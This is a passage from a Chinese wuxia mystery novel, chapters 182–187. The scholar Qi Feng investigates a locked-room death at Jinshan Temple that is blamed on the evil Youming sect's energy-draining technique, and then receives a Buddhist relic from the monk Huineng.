旁边一个提着竹篮的农妇连忙捂住他的嘴,紧张地四处张望:“小声点!听说死相可吓人了,浑身软得像没骨头,连仵作都不敢靠近!”
“不会是闹鬼吧?”一个梳着双丫髻的小姑娘躲在母亲身后,眼睛瞪得圆圆的,“我昨天晚上起夜,还听见后院有奇怪的风声,像是有人哭……”
“别胡说!”她母亲赶紧打断,却也下意识地往人群后缩了缩,“金山寺是佛门净地,哪来的鬼?定是有歹人混进来了!张老爷有钱,说不定是被人谋财害命了!”
议论声中,齐枫一行人挤开人群,刚走到武僧面前,便被一名身材高大的武僧拦下。
这武僧身高八尺,肩宽背厚,长棍横在胸前,声音如同洪钟:“诸位施主,案发现场已封锁,闲杂人等不得入内,请回吧。”
赵明兰上前一步,双手叉腰,鹅黄长裙在晨风中扬起,带着几分娇蛮:“什么闲杂人等?这位是春闱榜首齐枫齐公子!前几日府城的**案,袁氏私藏龙佩案,都是他帮忙破的!让他进去看看,说不定能找出凶手,总比你们这群和尚守着尸体没用强!”
武僧面无表情地摇头,长棍纹丝不动:“施主,寺规不可破。无论身份高低,都不能擅自进入案发现场,还请莫要为难贫僧。”
“你!”赵明兰气得跺脚,正要再说些什么,却见人群后传来一阵脚步声。
一名身着黑色僧袍的中年僧人缓缓走来,这僧人身材微胖,三角眼,颧骨高耸,嘴角总是挂着一抹似笑非笑的弧度,看着有些猥琐。
他袖口绣着暗金色的莲花纹,显然在寺里地位不低。
中年僧人目光扫过齐枫,三角眼中闪过一丝精光,忽然停下脚步,双手合十道:“这位可是青田县的齐枫齐公子?”
齐枫颔首:“正是在下。”
“久仰大名。”中年僧人嘴角的笑意更深,挥了挥手,“齐公子近期以来的本事,即便是金山寺都早有耳闻。既然公子来了,便可入内查看,说不定真能为寺里解惑。”
武僧们闻言,纷纷侧身让开一条路,长棍与长棍之间的缝隙刚好容一人通过。
围观的香客们见状,顿时炸开了锅,惊叹声,议论声混在一起,比刚才还要热闹。
“原来他就是春闱榜首啊!难怪这么大面子!”
“我就说嘛,有齐公子在,肯定能查出真相!前几日袁大少的案子多棘手,还不是被他轻松破了?”
“张老爷这下有救了,总算能瞑目了!”
周子陵拍着齐枫的肩膀,笑得一脸得意:“齐兄,还是你厉害!咱们快进去,别让这群和尚看扁了!”
徐远也跟着起哄:“就是!说不定咱们还能赶在官府前面找到线索,让那些官老爷也瞧瞧咱们的本事!”
齐枫笑着摇了摇头,跟着中年僧人走进客房。
刚踏入门槛,一股淡淡的腥气便扑面而来,混杂着檀香的味道,让人胃里一阵翻腾。
客房不大,陈设简单得有些简陋。
靠里墙放着一张雕花木床,床上的锦被叠得整整齐齐,显然昨夜未曾有人使用。
窗边摆着一张梨木书桌,桌上放着一盏青瓷茶盏,茶盏里还剩小半杯茶水,水面平静无波,旁边散落着几张面额不小的银票,显然不是谋财害命。
书桌旁的两把椅子一把歪
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在地上,一把还好好地放在原位,地上的椅子腿上沾着一点青黑色的痕迹,像是被什么东西蹭到的。
而张老爷的尸体,就倒在书桌与椅子之间的地板上。
他穿着一身深蓝色的锦袍,领口和袖口绣着精致的云纹,显然是精心打理过的。
可此刻,这具曾经鲜活的躯体却呈现出一种诡异的姿态,双目圆睁,眼球布满血丝,像是死前看到了极其恐怖的景象。
他脸色青紫得近乎发黑,嘴唇却泛着病态的苍白,嘴角还残留着一丝黑色的血迹,四肢以一种不自然的角度扭曲着,手腕和脚踝处的皮肤松弛得像挂在骨头上的布,轻轻一碰仿佛就会脱落。
双手手指蜷缩成爪状,指甲缝里干干净净,没有半点泥沙或纤维,显然死前没有与人搏斗。
客房的门窗完好无损,窗栓紧闭,没有被撬动的痕迹,门锁是黄铜打造的,锁芯完好,钥匙还插在锁孔里,轻轻一转就能打开。
齐枫皱了皱眉,这竟还是一桩“密室**案”!
赵明兰刚看了一眼尸体,便猛地别过脸,伸手捂住嘴,脸色发白:“这……这也太吓人了!不像是被人杀死的,倒像是被什么邪物吸走了精气,连骨头都化了!我以前听我祖母说过,有些修炼邪术的人会养噬魂蛊,蛊虫钻进人体内,就能吸干人的精血和精气,死状就跟这个一模一样!”
南宫玥也往后退了一步,月白纱裙轻轻颤抖,眼中满是惊恐:“太诡异了……门窗都好好的,凶手是怎么进来的?又是怎么在不破坏现场的情况下杀死张老爷的?难道真的像明兰说的那样,是邪术?”
柳若雪蹲下身,小心翼翼地用手指碰了碰尸体的手臂,随即迅速收回手,眉头紧锁:“皮肤冰凉,已经僵硬了,但僵硬的程度很奇怪,一般人死后半个时辰开始僵硬,三个时辰后全身僵硬,可张老爷的尸体只有躯干僵硬,四肢还是软的!”
此话一出,众人的脸色都不由自主的白了白。
第一百八十三章 幽冥
柳若雪继续道:“像是,像是内力被瞬间抽干,连肌肉都失去了支撑。而且他身上没有任何外伤,也没有**的迹象,茶水我闻过了,是普通的雨前龙井,没有毒。”
楚清秋站在一旁,目光如同扫描仪般扫过房间的每一个角落,从天花板的横梁到地板的缝隙,连书桌抽屉里的笔墨纸砚都没放过,最后停在尸体旁的地板上。
“你们看,张老爷的锦袍下摆沾着一点灰黑色的粉末,地板上也有一点,不像是寺庙里的香灰,倒像是某种药材研磨成的粉。而且他身上没有挣扎的痕迹,说明他死前对凶手毫无防备,甚至可能认识凶手,或者凶手是突然出现,让他连反应的时间都没有。”
小荷躲在楚清秋身后,只敢偷偷从楚清秋的胳膊缝里瞥了一眼尸体,便吓得赶紧缩回脑袋。
“那……那真的是鬼吗?我听村里的老人说,有些恶鬼专门在夜里出来吸人的精气,吸完之后人就会变成这样,连魂魄都剩不下……”
周子陵搓了搓胳膊,强装镇定地踢了踢地上的椅子,却不小心碰到了尸体的手臂,吓得他赶紧收回脚,干笑道:“别胡说!哪有什么鬼?定是有人用了什么邪门的功夫!齐兄,你见多识广,你怎么看?这到底是怎么回事?”
众人的目光瞬间聚焦在齐枫身上,连那名中年僧人都忍不住朝他看过来,眼中带着几分期待。
齐枫蹲下身,从怀中取出一块干净的手帕,小心翼翼地捏起尸体锦袍上的灰黑色粉末,放在鼻尖闻了闻,又仔细观察着尸体的指甲,眼睑,甚至还轻轻按压了一下尸体的胸口,才缓缓起身。
“张老爷死前确实没有反抗,而且凶手的手法极其诡异。你们看他的指甲缝里没有泥沙或纤维,说明他没有与人搏斗,眼睑内侧没有出血点,排除了被捂死或勒死的可能,茶水和银票都完好无损,不是谋财害命,门窗没有被破坏,凶手要么是有钥匙,要么是张老爷主动开门让他进来的。”
他顿了顿,目光落在尸体松弛的皮肤上:“最奇怪的是他的身体,浑身只有躯干僵硬,四肢软得像没有骨头,这不是普通武功能造成的效果。一般来说,就算是内力高深的高手,杀**后也只会留下外伤或内伤,比如震碎五脏六腑,或者打断骨骼,绝不会让尸体变成这样。这种情况,只有一种可能,他的内力被人强行抽走了。”
“内力被抽走?”众人齐齐一惊,连那名中年僧人都忍不住上前一步,追问道:“齐公子的意思是,凶手修炼了能吸取他人内力的邪功?”
齐枫点头:“没错。而且是一种极其霸道的邪功。”
富贵上前一步,脸色凝重得像是蒙上了一层寒霜,他双手紧握,指节泛白,显然是想起了什么不好的回忆。
“少爷说得对!我以前在江湖上闯荡时,曾听说过一个叫幽冥教的邪派,教中弟子专门修炼吸魂夺魄功,这种邪功能在瞬间吸取他人的内力和精气,被吸功的人死后就会像张老爷这样,浑身内力被抽干,身体软得像一滩烂泥,连骨头都会慢慢融化!”
他顿了顿,声音低了几分,带着一丝后怕:“我还见过被这种邪功害死的人,死状比张老爷还要凄惨,七窍流血,皮肤下的血管都能看得清清楚楚,像是随时会炸开!当时幽冥教因为修炼这种邪功,被武林正道联手围剿,听说已经覆灭了,怎么会有人还在修炼这种邪功?”
赵明兰闻言,脸色更白,下意识地往齐枫身边靠了靠:“我娘以前也跟我说过,江湖上有不少修炼邪功的人,这些人都心狠手辣,为了提升修为不择手段,连老人小孩都不放过!可张老爷只是个富商,又不懂武功,凶手为什么要吸他的内力?这不是白费功夫吗?”
周子陵也跟着点头,一脸疑惑:“是啊!要吸也该吸内力高深的人,比如武林高手或者门派长老,吸一个
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富商的内力,能有什么用?张老爷就算练过几天拳脚,也不过是花架子,内力肯定少得可怜!”
陈玉堂摸着下巴,沉吟道:“难道是张老爷知道了凶手的秘密,凶手**灭口?可为什么要用这么招摇的方式?在金山寺**,还留下这么诡异的死状,这不是故意引人注意吗?”
徐远也挠了挠头,一脸茫然:“我也觉得奇怪。凶手要是想**灭口,完全可以在下山的路上动手,或者伪装成意外,何必在寺庙里动手,还弄得这么邪乎?这不是给自己找麻烦吗?”
众人你一言我一语,都想不通凶手的动机,客房内的气氛再次变得压抑起来。
齐枫站在原地,目光扫过书桌,椅子,尸体,最后落在那盏未喝完的茶水上,忽然微微一笑,缓缓开口:“凶手之所以选择在金山寺杀张老爷,还特意用了吸魂夺魄功这种邪功,说明张老爷和凶手之间,一定有不为人知的牵连……”
齐枫目光扫过在场众人,最后落在那名中年武僧身上,缓缓道:“张老爷的死,看似是个人恩怨,实则与金山寺脱不了干系。若只是普通的江湖仇杀,凶手何必选在寺庙动手?又何必用吸魂夺魄功这种容易引人注意的邪功?这背后,定有更深的图谋,而金山寺,恐怕就是这图谋的关键一环。”
“齐兄,你这话是什么意思?”周子陵皱起眉头,有些不解,“金山寺是佛门净地,怎么会跟邪派扯上关系?”
徐远也跟着点头:“是啊,我看这寺庙规规矩矩的,和尚们也都挺和善,不像是藏着什么秘密的样子。”
齐枫没有直接回答,而是转向那名中年武僧,语气平静:“大师,方才你说张老爷是邻城的富商,可据我所知,张老爷在邻城不仅经商,还暗中资助过不少江湖门派。不知大师是否知道,他资助的门派中,有没有与‘幽冥教’有关的?”
中年武僧闻言,脸色微变。
第一百八十四章 悟空
中年武僧眼神闪烁了一下,才缓缓开口:“贫僧法号悟空,是金山寺的监寺。齐公子果然心思缜密,竟连这些都查得一清二楚。”
他叹了口气,语气带着几分沉重:“实不相瞒,张施主此次上山,并非单纯为了祈福,而是来寻求庇护的。他确实与幽冥教有过牵连,三年前,幽冥教尚未覆灭时,张施主为了保护自家的商铺,曾给幽冥教捐过不少钱财,还帮他们藏匿过一批违禁的药材。”
“后来幽冥教被武林正道围剿,张施主怕被牵连,便想与幽冥教划清界限,可幽冥教却不肯放过他,逼他继续供奉,甚至让他帮忙寻找一件失传的宝物。”
“宝物?”众人齐齐一惊,柳若雪追问:“什么宝物?难道与幽冥教的邪功有关?”
悟空点头:“具体是什么宝物,张施主并未明说,只说那宝物对幽冥教至关重要,若找不回来,他和他的家人都得死。他走投无路,才想到来金山寺寻求庇护毕竟金山寺是千年古刹,幽冥教再猖狂,也该忌惮几分佛门的威严。可没想到……”
他看向地上的尸体,眼中满是愧疚:“还是没能护住他。昨夜贫僧巡查时,曾在东跨院附近见过一道黑影,当时以为是香客起夜,便没多在意,现在想来,那黑影定是幽冥教的**!是贫僧疏忽,才让张施主丢了性命!”
赵明兰听得又惊又怒:“这幽冥教也太嚣张了!都被围剿了还敢出来作恶,张老爷为什么不找官府帮忙?官府难道还治不了他们?”
悟空苦笑一声:“张施主何尝不想?可他有自己的私心,他当年资助幽冥教、藏匿药材的事,若是被官府知道,就算能保住性命,也得蹲大牢,家产更是要被抄没。”
“而且,幽冥教的势力远比你们想象的要庞大,他们在官府中也有眼线,张施主怕消息走漏,反而会更快招来杀身之祸。”
富贵也跟着补充,语气凝重:“悟空大师说得对!当年武林正道围剿幽冥教时,就发现他们与不少地方官员有勾结,有些官员甚至为他们提供庇护,帮他们转移赃物。”
“官府对幽冥教的了解,大多停留在表面,根本不知道他们的核心成员藏在哪里,更不知道他们还在暗中发展势力。”
他顿了顿,又道:“我还听说,幽冥教覆灭后,有不少余孽逃到了各地,有的隐藏在市井之中,有的混入了江湖门派,甚至还有人躲进了寺庙,道观这种清净之地,以出家人的身份作掩护,继续修炼邪功,发展教徒,张老爷之所以选择来金山寺,恐怕也是听说金山寺安全,却没想到还是没能躲过一劫。”
楚清秋轻声道:“这么说来,幽冥教不仅没有覆灭,反而在暗中积蓄力量,妄图卷土重来?张老爷的死,或许只是他们计划的一部分,他们真正的目标,可能是金山寺,或者是金山寺藏着的什么东西。”
齐枫点头,眼中闪过一丝锐利:“青禾说得有道理。幽冥教选择在金山寺杀张老爷,很可能是想借此威慑那些想脱离教派的人,同时也想试探金山寺的实力,甚至可能想在寺庙里寻找什么。毕竟,金山寺历史悠久,说不定藏着他们想要的宝物。”
悟空脸色越发沉重,双手合十道:“阿弥陀佛。若真是如此,那金山寺和山下的百姓,恐怕都要陷入危险之中。幽冥教的人手段残忍,若他们真要对金山寺动手,后果不堪设想。”
周子陵有些担忧:“那咱们现在该怎么办?总不能坐以待毙吧?要不要通知官府,让他们派官兵来保护寺庙?”
陈玉堂也附和:“是啊,官府人多势众,说不定能震慑住幽冥教的人。”
悟空摇头:“恐怕不行。幽冥教的人行踪诡秘,官府就算派了官兵,也未必能抓住他们,反而可能打草惊蛇,让他们提前动手。而且,金山寺向来清净,若让官兵进驻,怕是会引起香客的恐慌,影响寺庙的声誉。”
就在众人争论不休时,院外忽然传
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来一阵嘈杂的脚步声,伴随着一名小和尚的呼喊:“师祖!官府的人来了!说是接到报案,来查张施主的案子!”
众人闻言,纷纷朝门口望去。
只见一群身着官服的捕快簇拥着一名身材微胖的官员走了进来,官员头戴乌纱帽,脸上带着几分傲慢,听说是府城的捕头李大人。
李大人一进门,目光便扫过地上的尸体,眉头皱了皱,随即转向悟空:“悟空大师,好端端的寺庙,怎么会出人命案?还闹得这么沸沸扬扬,若是传出去,影响多不好!”
悟空连忙上前,双手合十道:“李大人息怒。此事说来话长,张施主是被幽冥教的余孽所杀,并非普通的仇杀。”
“幽冥教?”李大人脸色一变,显然也听说过这个邪派的名头,“不是说幽冥教早就被剿灭了吗?怎么还会有余孽?”
齐枫上前一步,拱手道:“李大人,幽冥教虽被围剿,却仍有不少余孽在暗中活动。张老爷曾与幽冥教有牵连,后来想脱离教派,才被他们追杀。此事恐怕不只是一桩简单的命案,背后还牵扯着幽冥教的阴谋,还请大人务必重视。”
李大人打量了齐枫一番,赵明兰冷哼一声:“看什么?认不得春围榜首?”
李大人立刻笑道:“原来是齐公子。既然是幽冥教的余孽所为,那此事确实非同小可。本官会派人加强对金山寺和山下城镇的巡查,务必抓住凶手,查清幽冥教的阴谋。”
他顿了顿,又道:“不过,此案涉及江湖教派,本官还需上报府衙,请赵大人和卢大人定夺。在官府查明真相之前,还请诸位配合调查,不要擅自离开金山寺,也不要对外散布消息,以免引起恐慌。”
众人纷纷点头,表示愿意配合。
李大人随即吩咐捕快们勘查现场,采集证据,客房内顿时忙碌起来,捕快们的脚步声,交谈声与和尚们的诵经声交织在一起,让原本清净的古刹,多了几分紧张的气息。
第一百八十五章 庙堂与江湖
齐枫站在一旁,看着捕快们忙碌的身影,心中却泛起一丝疑虑。
幽冥教的余孽敢在金山寺**,又岂会轻易被官府抓住?他们的真正目的,到底是什么?
从案发现场出来,齐枫一行人沿着金山寺的石板路往客院走。
晨雾早已散尽,阳光透过松柏的枝叶洒下,在地面投下斑驳的光影,秋风清凉,很是舒服。
可众人的心情却没随着天气好转而轻松,反而被“幽冥教余孽”的消息压得沉甸甸的。
“这幽冥教也太嚣张了!”周子陵率先打破沉默,脸上带着几分愤慨,“都被武林正道围剿过了,还敢在金山寺**,简直不把佛门和官府放在眼里!”
徐远踢着脚下的石子,眉头紧锁:“可不是嘛!听富贵兄说,他们连官府都有眼线,这势力也太吓人了!咱们在这儿会不会有危险?毕竟咱们知道了他们的事,万一他们来灭口怎么办?”
陈玉堂摸了摸下巴,沉吟道:“危险肯定有,但也不用太慌。金山寺有武僧守卫,官府也派了人来,只要咱们不单独行动,应该没事。而且,有齐兄在,就算遇到幽冥教的人,也能应付一二。”
齐枫笑了笑,没接话,反而看向身旁的楚清秋:“青禾,你怎么看庙堂和江湖的关系?幽冥教能在官府安插眼线,又能在寺庙**,显然是把这两者都摸透了。”
楚清秋抬头望了望远处的藏经阁,轻声道:“庙堂讲,法度,江湖重义气,看似井水不犯河水,实则相互渗透。就像幽冥教,他们利用官府的漏洞发展势力,又用江湖的手段排除异己,才会这么难对付,而官府对江湖的事大多一知半解,武林正道又不愿与官府过多牵扯,才给了他们可乘之机。”
“说得对!”富贵在一旁附和,脸上带着几分感慨,“我以前在江湖上闯荡时,就见过不少这样的事。有些门派表面上遵守江湖规矩,暗地里却和官员勾结,走私盐铁,贩卖人口,还有些官员为了政绩,故意包庇邪派,甚至利用他们打压异己。庙堂和江湖,早就不是分得那么清了。”
赵明兰听得有些咋舌:“原来还有这么多门道!我还以为官府就是管管老百姓的事,江湖就是侠客们打打杀杀呢!”
南宫玥也轻声道:“以前在醉月楼,也听客人们说过一些江湖事,却没想到这么复杂。幽冥教能在两者之间游走,还发展得这么隐蔽,可见他们的首领不简单。”
柳若雪点头:“而且他们敢在金山寺**,恐怕不只是为了杀张老爷灭口,更是想给金山寺一个下马威,甚至可能是在试探寺庙的实力,毕竟,金山寺是千年古刹,在江湖和百姓心中都有分量,若是能控制住金山寺,对他们发展势力大有好处。”
齐枫赞同道:“柳姑娘说得有道理。幽冥教选择在金山寺动手,绝不是偶然。他们要么是想通过**震慑那些想脱离教派的人,要么就是看中了金山寺里的什么东西,或许是传说中的宝物,或许是寺庙隐藏的秘密。毕竟,金山寺历史悠久,说不定藏着他们想要的东西。”
小荷躲在楚清秋身后,小声道:“那……那咱们要不要提醒寺里的和尚,让他们好好查查寺庙里有没有什么特别的东西?万一被幽冥教的人找到了,岂不是更危险?”
楚清秋摸了摸小荷的头,柔声道:“放心,金山寺的和尚们肯定比咱们更清楚寺庙的情况。而且,悟空大师既然知道幽冥教的事,肯定会加强防范的。”
齐枫也道:“咱们现在最重要的是保护好自己,不要给幽冥教可乘之机。接下来几天,大家尽量不要单独行动,尤其是晚上,最好待在客院里。富贵,你多留意一下客院周围的动静,一旦有异常,立刻通知我。”
富贵连忙点头:“少爷放心!有我在,定不让幽冥教的人靠近客院半步!”
众人说着,不知不觉已回到客院。
南宫玥和柳若雪担心客房的安全,便提议几人集中住在相邻的房间,方便相互照应。
赵明兰虽觉得麻烦,却也知道现在不是任性的时候,便点头同意了。
接下来的
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一天,金山寺表面上依旧平静。
香客们虽听说了命案的事,却大多以为是普通的意外,加上寺里的和尚们处理得当,及时安抚了人心,所以来来往往的香客依旧不少。
大雄宝殿里香烟缭绕,诵经声不绝于耳,求愿树下挤满了祈福的人,红绸带挂满了树枝,斋堂里依旧座无虚席,素斋的香气飘得很远。
可暗地里,气氛却紧张了不少。
武僧们加强了巡逻,腰间的长棍握得更紧了,官府的捕快们也换上了常服在寺里四处勘查,时不时询问香客和和尚们有没有看到可疑人物。
齐枫一行人则按照约定,没有单独行动,要么一起在院子里晒太阳,要么围在一起下棋聊天,看似悠闲,实则都在留意周围的动静。
傍晚时分,夕阳的余晖洒在金山寺的金顶上,折射出耀眼的光芒。
齐枫正和周子陵,徐远,陈玉堂在院子里下棋,南宫玥,柳若雪,楚清秋和小荷则坐在一旁的石桌旁喝茶,富贵守在院门口,目光警惕地扫视着来往的行人。
就在这时,一名身着灰色僧袍的小和尚快步走了过来,双手合十,对着齐枫躬身道:“齐施主,我家师父请您过去一趟。”
齐枫放下手中的棋子,抬头看向小和尚:“不知令师是哪位?找在下有何事?”
小和尚恭敬地回答:“我家师父是寺里的慧能大师,他说与施主有缘,想和施主聊聊佛法,顺便请教一些事情。”
“慧能大师?”众人齐齐一惊。
他们早就听说过慧能大师的名头,知道他是金山寺的得道高僧,能断吉凶,却没想到大师会主动邀约齐枫。
周子陵打趣道:“齐兄,看来你和佛缘不浅啊!慧能大师可不是谁都能见的,你可得好好把握机会,说不定还能求到几句指点呢!”
徐远也跟着点头:“是啊齐兄,慧能大师见多识广,说不定知道幽冥教的事,你可以趁机问问他有没有什么应对之策。”
齐枫笑了笑,对小和尚道:“烦请小师父带路。”
第一百八十六章 论世
齐枫起身对众人道:“我去去就回,你们在院子里等着,不要乱跑。富贵,看好他们。”
富贵连忙点头:“少爷放心!有我在,定不让人伤了他们!”
楚清秋也叮嘱道:“少爷,小心些。慧能大师虽是得道高僧,但毕竟咱们刚经历了命案,还是多留个心眼好。”
齐枫点头,跟着小和尚往外走。
夕阳将两人的影子拉得很长,小和尚走在前面,嘴里还小声念着佛经,齐枫跟在后面,目光扫过周围的环境,留意着有没有可疑的人影。
两人沿着石板路往藏经阁的方向走,路上遇到不少巡逻的武僧和捕快,他们看到小和尚和齐枫,都只是点了点头,没有过多阻拦。
越靠近藏经阁,周围的人越少,环境也越清净。
晚风穿过竹林,发出沙沙的声响,夹杂着远处的诵经声,让人的心也跟着沉静下来。
齐枫一边走,一边在心里琢磨。
慧能主动找他,真的只是为了聊佛法吗?还是知道了幽冥教的事,想给他一些提示?
或者,是关于金山寺隐藏的秘密?
无数个念头在他脑海里盘旋,却始终没有头绪。
他只能跟着小和尚继续往前走,心里隐隐有些期待。
这位得道高僧,到底会跟他说些什么呢?
小和尚带着齐枫来到藏经阁西侧的一间禅房门口,停下脚步,对着齐枫躬身道:“齐施主,我家师父就在里面等着您,请进。”
齐枫点了点头,深吸一口气,抬手推开了禅房的门。
禅房不大,却收拾得异常整洁。正中摆着一张老旧的红木桌,桌上放着一套素雅的青瓷茶具,旁边燃着一炉檀香,青烟袅袅,驱散了空气中的寒意。
慧能大师端坐在桌旁的蒲团上,须发皆白,面容清瘦,身上那件洗得发白的僧袍,在昏黄的油灯下透着一股与世无争的禅意。
“施主请坐。”慧能大师抬手示意,声音沙哑温和,莫名的让人感觉带着一种安抚人心的力量。
齐枫在对面的蒲团上坐下,目光扫过桌上的茶具。
茶盏是普通的青瓷,茶叶却是罕见的“雪顶乌龙”,叶片蜷缩如珠,冲泡后汤色清澈,香气淡雅,显然是精心准备的。
慧能大师提起茶壶,动作缓慢优雅,滚烫的热水注入茶盏,茶叶在水中缓缓舒展,泛起细小的涟漪。
他将茶盏推到齐枫面前,轻声道:“这茶是寺后山的野茶,采于雪后初晴,带着几分清冽,施主尝尝。”
齐枫端起茶盏,浅抿一口,茶水入喉,先是一丝微苦,随后便是满口回甘,仿佛能洗去心中的烦躁。
他放下茶盏,开门见山道:“大师今日邀晚辈前来,想必不只是为了品茶论禅吧?”
慧能大师微微一笑,捻着手中的佛珠,目光落在窗外的竹林上,缓缓道:“施主可知,如今这世道,是何景象?”
齐枫闻言,心中一动,明白大师是想与他论世。
他沉吟片刻,缓缓道:“晚辈以为,如今的世道,算不上太平。北方匈奴虎视眈眈,时常侵扰边境,百姓流离失所,南方水患频发,朝廷赈灾粮款却被层层克扣,饿殍遍野。”
“朝中奸臣当道,外戚与文官集团明争暗斗,朝政日益腐朽,江湖上邪派横行,幽冥教之流为祸一方,正道却各自为战,难以形成合力。”
他顿了顿,脸上带着几分无奈:“最苦的还是百姓。赋税沉重,苛捐杂税层出不穷,遇上灾年,更是卖儿卖女,只求一线生机。景国看似安稳,实则早已千疮百孔,稍有不慎,便可能引发大乱。”
慧能大师闻言,轻轻叹了口气,眼中闪过一丝悲悯:“施主看得透彻。老衲在金山寺待了数十年,见过太多流离失所的百姓,听过太多悲惨的故事。有人为了活命,冒险偷渡边境。有人为了给家人治病,不惜**葬父,还有人被邪派胁迫,不得不做伤天害理之事……这世道,苦了太多人。”
“那大师以为,该如何改变这世道?”齐枫追问,他很
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好奇这位得道高僧会给出怎样的答案。
慧能大师拿起茶壶,为齐枫续上茶水,缓缓道:“改变世道,非一人一力可为,需庙堂与江湖同心协力。庙堂需清明吏治,减轻赋税,让百姓有饭吃,有衣穿,江湖需摒弃门户之见,联手打压邪派,维护一方安宁。可如今,庙堂贪腐成风,江湖各自为战,想要改变,难啊。”
他顿了顿,目光落在齐枫身上:“施主是春闱榜首,未来大概率会步入仕途。老衲希望,施主日后为官,能多为百姓着想,少些官场算计,多些济世情怀。若为官者皆能如此,庙堂自会清明,世道也会慢慢变好。”
齐枫倒是没想到慧能大师会对他寄予如此厚望。
他拱手道:“齐某不敢保证能改变整个世道,但定会守住本心,若日后为官,定当竭尽所能,为百姓谋福祉。”
慧能大师点头,脸上露出欣慰的笑容:“施主有此心,便是百姓之福。老衲再问施主,你觉得江湖与庙堂,该如何相处?幽冥教能在两者之间游走,甚至在官府安插眼线,根源何在?”
齐枫沉吟道:“根源在于两者之间的隔阂。官府对江湖之事大多一知半解,认为江湖人都是目无法纪之辈,不愿与其合作,而江湖门派又觉得官府**无能,不愿与之过多牵扯。幽冥教正是利用了这种隔阂,一边用钱财贿赂官员,获取庇护,一边用武力胁迫江湖势力,发展教徒,才会这么难对付。”
“若想根除幽冥教之流,需官府与江湖放下隔阂,坦诚合作。官府提供资源与法度支持,江湖提供情报与武力援助,双管齐下,才能彻底铲除邪派,还天下一个太平。”
慧能大师闻言,抚掌赞叹:“施主所言极是!老衲在江湖上也有些人脉,曾试图撮合官府与正道门派合作,却始终收效甚微。官员们怕担责任,门派掌门又怕被官府控制,最后都不了了之。如今听施主一番话,老衲才算看到了希望!”
此话一出,齐枫心头一动。
第一百八十七章 舍利
两人就这样一边品茶,一边论世,从朝政吏治聊到江湖纷争,从百姓疾苦聊到济世之策。
不知不觉,油灯已燃尽了大半,窗外的夜色也越发浓重。
齐枫原本以为得道高僧只会谈论佛法,却没想到慧能大师对世事如此洞悉,许多观点与他不谋而合,让他受益匪浅。
又聊了片刻,齐枫见天色已晚,便起身道:“大师,时辰不早了,齐某也该回去了。今日与大师一番交谈,齐某茅塞顿开,多谢大师指点。”
慧能大师却摆了摆手,目光变得深邃起来,缓缓道:“施主别急着走。老衲今日邀施主前来,确实不只是为了品茶论禅。”
齐枫心中一动,重新坐下:“那大师今日找齐某,究竟有何要事?”
慧能大师微微一笑,捻着佛珠的手指停了停:“老衲找施主,是因为施主是个能救人的人。”
“救人?”齐枫一愣,有些不解,“齐某不过是个普通书生,能救谁?”
慧能大师摇头,目光坚定:“施主能救的,不只是一个人,而是很多人。金山寺,乃至山下的城镇,甚至整个景国的百姓,都可能因施主而得救。”
齐枫彻底愣住了,他看着慧能大师,心中不解。
他不过是个穿越而来的书生,虽有些权谋与武力,却从未想过自己能“救很多人”。
慧能大师这番话,到底是什么意思?
无数个念头在他脑海里盘旋,让他一时竟不知该如何回应,只能怔怔地看着慧能大师,等待着他的解释。
禅房内的檀香依旧袅袅,油灯的光芒跳动着,映得慧能大师的脸一半在光明里,一半在阴影中。
他看着满脸惊讶的齐枫,缓缓开口:“老衲夜观天象多日,发现紫微星旁异星异动,光芒晦暗,直指府城方向。此乃大灾之兆,不出两月,府城必遭大难,而这场灾难,与幽冥教脱不了干系。”
齐枫心头一沉,追问道:“大师所言的大难,具体是指什么?幽冥教想在府城做什么?”
慧能大师摇头,脸色闪过一丝凝重:“天机晦涩,老衲只能看出灾劫将至,却算不出具体是什么灾难。但可以肯定的是,幽冥教为此谋划已久,他们在金山寺杀张老爷,既是灭口,也是在为后续的行动铺路。或许是想夺取某样东西,或许是想制造混乱,无论如何,后果都不堪设想。”
他顿了顿,目光落在齐枫身上,语气变得郑重:“而施主,便是化解这场灾劫的关键。老衲观施主面相,虽有孤魂之气,却也带着救世之相,你身上既有杀伐决断的狠厉,又有悲悯众生的仁心。”
“这等矛盾却又和谐的特质,正是化解灾劫所必需的。若换作他人,要么过于仁慈,被幽冥教牵制,要么过于狠辣,伤及无辜,唯有施主,能在两者之间找到平衡。”
齐枫听得心中一动,他从未想过自己会与“救世”扯上关系。
穿越而来的他,最初只是想在这乱世中潇洒活下去,后来与袁氏周旋,帮楚清秋隐藏身份,也只是顺势而为。
可慧能大师这番话,莫名让他意识到,有些东西不是他能控制的。
“大师过誉了。”齐枫拱手道,“齐某能力有限,未必能担此重任。但既然知道府城有难,齐某定会多加防备,尽力阻止幽冥教的阴谋。”
慧能大师微微一笑,从怀中取出一个锦盒。
锦盒通体由紫檀木打造,上面雕刻着复杂的梵文,边缘还镶嵌着细小的银线,一看便知来历不凡。
他轻轻打开锦盒,一道柔和的金光瞬间从盒中溢出,照亮了整个禅房,连空气中的檀香都仿佛染上了一层金色。
盒中躺着一颗通体莹白的珠子,约莫药丸大小,表面光滑如玉,却时不时闪过一丝金色纹路,宛如活物般流转。
珠子散发出的气息纯净而温暖,让人闻之欲醉,仿佛能洗涤心中的杂念。
“此乃佛心舍利子。”慧能大师的声音带着几分庄重,“并非佛门高僧圆寂
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后的舍利,而是数百年前一位得道高人以自身修为凝练而成,内藏纯净佛力,不仅能驱邪避煞,关键时刻还能护主保命,甚至能净化邪功带来的戾气。”
他小心翼翼地将舍利子取出,递到齐枫面前:“这颗舍利子灵性十足,认主认缘。老衲守护它数十年,它始终毫无异动,可方才施主踏入禅房时,它却自行散发金光,这说明,施主便是它等待的有缘人。”
齐枫看着那颗散发着金光的舍利子,能清晰地感受到其中蕴含的纯净力量,心中不由得惊叹。
这等奇物,他前世也见过,但那是他的修为到了一定境界之后,接触到了很多不为人知的东西。
“这舍利子太过贵重,齐某不能收。”齐枫连忙推辞,“大师守护它数十年,理应继续由大师保管,更何况,齐某未必能配得上这等至宝。”
“施主此言差矣。”慧能大师将舍利子塞进齐枫手中,“宝物唯有在能发挥其作用的人手中,才算真正有价值。老衲年事已高,只能在金山寺中守护一方安宁,却无力阻止幽冥教的阴谋。”
“而施主不同,你有能力,有魄力,更有一颗救世之心,这颗舍利子在你手中,才能在灾劫来临时发挥最大的作用,救更多的人。”
他顿了顿,又道:“况且,幽冥教此次的目标,或许也与这颗舍利子有关。他们在江湖上四处搜寻奇珍异宝,为的就是提升邪功威力。老衲早已放出假消息,说舍利子藏在金山寺的藏经阁中,今夜定会引蛇出洞,那些潜伏在寺中的幽冥教余孽,怕是要忍不住动手了。”
